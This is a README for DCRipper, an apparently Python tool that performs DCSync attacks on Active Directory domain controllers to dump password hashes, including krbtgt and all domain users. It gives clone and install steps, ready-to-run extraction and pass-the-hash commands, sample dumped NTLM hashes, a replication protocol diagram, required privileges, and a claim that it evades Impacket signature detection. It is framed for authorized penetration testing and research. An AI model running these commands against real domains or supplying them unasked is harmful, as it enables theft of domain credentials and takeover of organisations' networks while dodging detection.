A pure Python implementation of the MS-DRSR (Directory Replication Service Remote Protocol) for Active Directory credential extraction. Built from scratch without Impacket dependencies.
DCRipper performs DCSync attacks by implementing the Windows Directory Replication Service protocol from the ground up. It includes custom implementations of:
- DCE/RPC - Remote procedure call protocol
- NDR - Network Data Representation serialization
- NTLM - NT LAN Manager authentication
- MS-DRSR - Directory Replication Service Remote Protocol
- Zero Impacket dependencies
- Single user or full domain extraction
- Pass-the-Hash authentication
- TCP and SMB transport
- Hashcat-JSON - output
git clone https://github.com/kypvas/dcripper.git
cd dcripper
pip install pycryptodome# Dump krbtgt
python3 dcripper.py -dc 192.168.1.1 -d DOMAIN -u admin -p Password123
# Dump all users
python3 dcripper.py -dc 192.168.1.1 -d DOMAIN -u admin -p Password123 -a
# Pass-the-Hash
python3 dcripper.py -dc 192.168.1.1 -d DOMAIN -u admin -H :ntlmhash
# Save output
python3 dcripper.py -dc 192.168.1.1 -d DOMAIN -u admin -p Password123 -a -o hashes.txt| Option | Description |
|---|---|
-dc |
Domain controller IP or hostname |
-d |
Domain name |
-u |
Username |
-p |
Password |
-H |
NTLM hash |
-t |
Target user (default: krbtgt) |
-a |
Dump all users |
-o |
Output file |
-f |
Format: hashcat, json |
-v |
Verbose |
DOMAIN\administrator:500:aad3b435b51404eeaad3b435b51404ee:32d6cfe0d17ae931b70c52d7e0c099c0:::
DOMAIN\krbtgt:502:aad3b435b51404eeaad3b435b51404ee:145f2bc4b5415e04116a604a1d837eaa:::
┌──────────┐ ┌────────────┐
│ DCRipper │ │ DC │
└────┬─────┘ └─────┬──────┘
│ 1. EPM Map (port 135) │
├─────────────────────────────────────────>│
│ 2. NTLM Auth + RPC Bind │
├─────────────────────────────────────────>│
│ 3. DRSBind │
├─────────────────────────────────────────>│
│ 4. DRSGetNCChanges (EXOP_REPL_SECRETS) │
├─────────────────────────────────────────>│
│ 5. Encrypted credentials │
│<─────────────────────────────────────────┤
│ 6. RC4 + DES decryption (local) │
└──────────────────────────────────────────┘
- Domain Admins / Enterprise Admins
- Replicating Directory Changes All
Evades signature-based detection for Impacket. Behavioral detection (Event ID 4662) will still log replication activity.
See IMPLEMENTATION.md for detailed protocol documentation.
For authorized penetration testing and security research only. Unauthorized use is prohibited.
MIT